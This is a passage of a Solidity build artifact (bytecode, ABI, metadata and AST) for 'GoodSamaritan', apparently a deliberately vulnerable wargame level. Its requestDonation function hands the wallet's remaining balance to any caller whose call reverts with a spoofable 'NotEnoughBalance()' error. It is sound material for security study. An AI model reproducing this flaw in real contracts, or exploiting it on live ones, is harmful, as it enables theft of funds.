160a01b0390911681526020015b60405180910390f35b61007b61009d565b604051901515815260200161006a565b5f54610056906001600160a01b031681565b5f80546040517ff836afce0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063f836afce906024015f604051808303815f87803b1580156100f8575f80fd5b505af1925050508015610109575060015b610222573d808015610136576040519150601f19603f3d011682016040523d82523d5f602084013e61013b565b606091505b50805160208083019190912060408051600481526024810190915291820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fad3a8b9e0000000000000000000000000000000000000000000000000000000017815291519091200361021e575f546040517fe40b86580000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063e40b8658906024015f604051808303815f87803b158015610201575f80fd5b505af1158015610213573d5f803e3d5ffd5b505050505f91505090565b5090565b5060019056fea2646970667358221220d5db4a23eced2c10c7be752e7449ddba9a1dbc761e6cf62f46f17779c80a89c564736f6c63430008180033","sourceMap":"120:668:87:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;175:16;;;;;-1:-1:-1;;;;;175:16:87;;;;;;-1:-1:-1;;;;;192:55:155;;;174:74;;162:2;147:18;175:16:87;;;;;;;;329:457;;;:::i;:::-;;;424:14:155;;417:22;399:41;;387:2;372:18;329:457:87;259:187:155;149:20:87;;;;;-1:-1:-1;;;;;149:20:87;;;329:457;374:18;448:6;;:27;;;;;464:10;448:27;;;174:74:155;-1:-1:-1;;;;;448:6:87;;;;:15;;147:18:155;;448:27:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;444:336;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;616:14:87;;;;;;;;;;566:45;;;;;;;;;;;;;;;;;;;;;;;556:56;;;;;:74;552:218;;689:6;;:36;;;;;714:10;689:36;;;174:74:155;-1:-1:-1;;;;;689:6:87;;;;:24;;147:18:155;;689:36:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;750:5;743:12;;;329:457;:::o;552:218::-;513:267;329:457;:::o;444:336::-;-1:-1:-1;497:4:87;;329:457::o","linkReferences":{}},"methodIdentifiers":{"coin()":"11df9995","requestDonation()":"25143638","wallet()":"521eb273"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"coin\",\"outputs\":[{\"internalType\":\"contract Coin\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"requestDonation\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"enoughBalance\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"wallet\",\"outputs\":[{\"internalType\":\"contract Wallet\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GoodSamaritan.sol\":\"GoodSamaritan\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"coin","outputs":[{"internalType":"contract Coin","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"requestDonation","outputs":[{"internalType":"bool","name":"enoughBalance","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"wallet","outputs":[{"internalType":"contract Wallet","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GoodSamaritan.sol":"GoodSamaritan"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GoodSamaritan.sol","id":53328,"exportedSymbols":{"Address":[48259],"Coin":[53225],"GoodSamaritan":[53146],"INotifyable":[53327],"Wallet":[53321]},"nodeType":"SourceUnit","src":"32:2543:87","nodes":[{"id":53068,"nodeType":"PragmaDirective","src":"32:31:87","nodes":[],"literals":["solidity",">=","0.8",".0","<","0.9",".0"]},{"id":53069,"nodeType":"ImportDirective","src":"65:53:87","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","file":"openzeppelin-contracts-08/utils/Address.sol","nameLocation":"-1:-1:-1","scope":53328,"sourceUnit":48260,"symbolAliases":[],"unitAlias":""},{"id":53146,"nodeType":"ContractDefinition","src":"120:668:87","nodes":[{"id":53072,"nodeType":"VariableDeclaration","src":"149:20:87","nodes":[],"constant":false,"functionSelector":"521eb273","mutability":"mutable","name":"wallet","nameLocation":"163:6:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"},"typeName":{"id":53071,"nodeType":"UserDefinedTypeName","pathNode":{"id":53070,"name":"Wallet","nameLocations":["149:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"149:6:87"},"referencedDeclaration":53321,"src":"149:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"visibility":"public"},{"id":53075,"nodeType":"VariableDeclaration","src":"175:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"187:4:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53074,"nodeType":"UserDefinedTypeName","pathNode":{"id":53073,"name":"Coin","nameLocations":["175:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"175:4:87"},"referencedDeclaration":53225,"src":"175:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53103,"nodeType":"FunctionDefinition","src":"198:125:87","nodes":[],"body":{"id":53102,"nodeType":"Block","src":"212:111:87","nodes":[],"statements":[{"expression":{"id":53083,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53078,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"222:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":53081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"231:10:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Wallet_$53321_$","typeString":"function () returns (contract Wallet)"},"typeName":{"id":53080,"nodeType":"UserDefinedTypeName","pathNode":{"id":53079,"name":"Wallet","nameLocations":["235:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"235:6:87"},"referencedDeclaration":53321,"src":"235:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}},"id":53082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"231:12:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"src":"222:21:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53084,"nodeType":"ExpressionStatement","src":"222:21:87"},{"expression":{"id":53094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53085,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"253:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":53091,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"277:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"269:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53089,"name":"address","nodeType":"ElementaryTypeName","src":"269:7:87","typeDescriptions":{}}},"id":53092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"269:15:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"260:8:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Coin_$53225_$","typeString":"function (address) returns (contract Coin)"},"typeName":{"id":53087,"nodeType":"UserDefinedTypeName","pathNode":{"id":53086,"name":"Coin","nameLocations":["264:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"264:4:87"},"referencedDeclaration":53225,"src":"264:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}},"id":53093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"260:25:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"253:32:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53095,"nodeType":"ExpressionStatement","src":"253:32:87"},{"expression":{"arguments":[{"id":53099,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"311:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}],"expression":{"id":53096,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"296:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"303:7:87","memberName":"setCoin","nodeType":"MemberAccess","referencedDeclaration":53320,"src":"296:14:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Coin_$53225_$returns$__$","typeString":"function (contract Coin) external"}},"id":53100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"296:20:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53101,"nodeType":"ExpressionStatement","src":"296:20:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53076,"nodeType":"ParameterList","parameters":[],"src":"209:2:87"},"returnParameters":{"id":53077,"nodeType":"ParameterList","parameters":[],"src":"212:0:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53145,"nodeType":"FunctionDefinition","src":"329:457:87","nodes":[],"body":{"id":53144,"nodeType":"Block","src":"394:392:87","nodes":[],"statements":[{"clauses":[{"block":{"id":53115,"nodeType":"Block","src":"476:36:87","statements":[{"expression":{"hexValue":"74727565","id":53113,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"497:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53107,"id":53114,"nodeType":"Return","src":"490:11:87"}]},"errorName":"","id":53116,"nodeType":"TryCatchClause","src":"476:36:87"},{"block":{"id":53141,"nodeType":"Block","src":"538:242:87","statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"hexValue":"4e6f74456e6f75676842616c616e63652829","id":53123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"590:20:87","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""},"value":"NotEnoughBalance()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""}],"expression":{"id":53121,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"566:3:87","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"570:19:87","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"566:23:87","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":53124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"566:45:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53120,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"556:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"556:56:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":53127,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53118,"src":"626:3:87","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53126,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"616:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"616:14:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"556:74:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53140,"nodeType":"IfStatement","src":"552:218:87","trueBody":{"id":53139,"nodeType":"Block","src":"632:138:87","statements":[{"expression":{"arguments":[{"expression":{"id":53133,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"714:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53134,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"718:6:87","memberName":"sender","nodeType":"MemberAccess","src":"714:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53130,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"689:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"696:17:87","memberName":"transferRemainder","nodeType":"MemberAccess","referencedDeclaration":53307,"src":"689:24:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"689:36:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53136,"nodeType":"ExpressionStatement","src":"689:36:87"},{"expression":{"hexValue":"66616c7365","id":53137,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"750:5:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53107,"id":53138,"nodeType":"Return","src":"743:12:87"}]}}]},"errorName":"","id":53142,"nodeType":"TryCatchClause","parameters":{"id":53119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53118,"mutability":"mutable","name":"err","nameLocation":"533:3:87","nodeType":"VariableDeclaration","scope":53142,"src":"520:16:87","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":53117,"name":"bytes","nodeType":"ElementaryTypeName","src":"520:5:87","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"519:18:87"},"src":"513:267:87"}],"externalCall":{"arguments":[{"expression":{"id":53110,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"464:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53111,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"468:6:87","memberName":"sender","nodeType":"MemberAccess","src":"464:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53108,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"448:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53109,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"455:8:87","memberName":"donate10","nodeType":"MemberAccess","referencedDeclaration":53286,"src":"448:15:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:27:87","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53143,"nodeType":"TryStatement","src":"444:336:87"}]},"functionSelector":"25143638","implemented":true,"kind":"function","modifiers":[],"name":"requestDonation","nameLocation":"338:15:87","parameters":{"id":53104,"nodeType":"ParameterList","parameters":[],"src":"353:2:87"},"returnParameters":{"id":53107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53106,"mutability":"mutable","name":"enoughBalance","nameLocation":"379:13:87","nodeType":"VariableDeclaration","scope":53145,"src":"374:18:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53105,"name":"bool","nodeType":"ElementaryTypeName","src":"374:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"373:20:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GoodSamaritan","contractDependencies":[53225,53321],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53146],"name":"GoodSamaritan","nameLocation":"129:13:87","scope":53328,"usedErrors":[],"usedEvents":[]},{"id":53225,"nodeType":"ContractDefinition","src":"790:841:87","nodes":[{"id":53149,"nodeType":"UsingForDirective","src":"810:26:87","nodes":[],"global":false,"libraryName":{"id":53147,"name":"Address","nameLocations":["816:7:87"],"nodeType":"IdentifierPath","referencedDeclaration":48259,"src":"816:7:87"},"typeName":{"id":53148,"name":"address","nodeType":"ElementaryTypeName","src":"828:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},{"id":53153,"nodeType":"VariableDeclaration","src":"842:43:87","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"877:8:87","scope":53225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":53152,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":53150,"name":"address","nodeType":"ElementaryTypeName","src":"850:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"842:27:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":53151,"name":"uint256","nodeType":"ElementaryTypeName","src":"861:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":53159,"nodeType":"ErrorDefinition","src":"892:61:87","nodes":[],"errorSelector":"cf479181","name":"InsufficientBalance","nameLocation":"898:19:87","parameters":{"id":53158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53155,"mutability":"mutable","name":"current","nameLocation":"926:7:87","nodeType":"VariableDeclaration","scope":53159,"src":"918:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53154,"name":"uint256","nodeType":"ElementaryTypeName","src":"918:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":53157,"mutability":"mutable","name":"required","nameLocation":"943:8:87","nodeType":"VariableDeclaration","scope":53159,"src":"935:16:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53156,"name":"uint256","nodeType":"ElementaryTypeName","src":"935:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"917:35:87"}},{"id":53173,"nodeType":"FunctionDefinition","src":"959:131:87","nodes":[],"body":{"id":53172,"nodeType":"Block","src":"988:102:87","nodes":[],"statements":[{"expression":{"id":53170,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53164,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1056:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53166,"indexExpression":{"id":53165,"name":"wallet_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53161,"src":"1065:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1056:17:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"},"id":53169,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"3130","id":53167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1076:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"hexValue":"36","id":53168,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1082:1:87","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"src":"1076:7:87","typeDescriptions":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"}},"src":"1056:27:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53171,"nodeType":"ExpressionStatement","src":"1056:27:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53161,"mutability":"mutable","name":"wallet_","nameLocation":"979:7:87","nodeType":"VariableDeclaration","scope":53173,"src":"971:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53160,"name":"address","nodeType":"ElementaryTypeName","src":"971:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"970:17:87"},"returnParameters":{"id":53163,"nodeType":"ParameterList","parameters":[],"src":"988:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53224,"nodeType":"FunctionDefinition","src":"1096:533:87","nodes":[],"body":{"id":53223,"nodeType":"Block","src":"1155:474:87","nodes":[],"statements":[{"assignments":[53181],"declarations":[{"constant":false,"id":53181,"mutability":"mutable","name":"currentBalance","nameLocation":"1173:14:87","nodeType":"VariableDeclaration","scope":53223,"src":"1165:22:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53180,"name":"uint256","nodeType":"ElementaryTypeName","src":"1165:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":53186,"initialValue":{"baseExpression":{"id":53182,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[]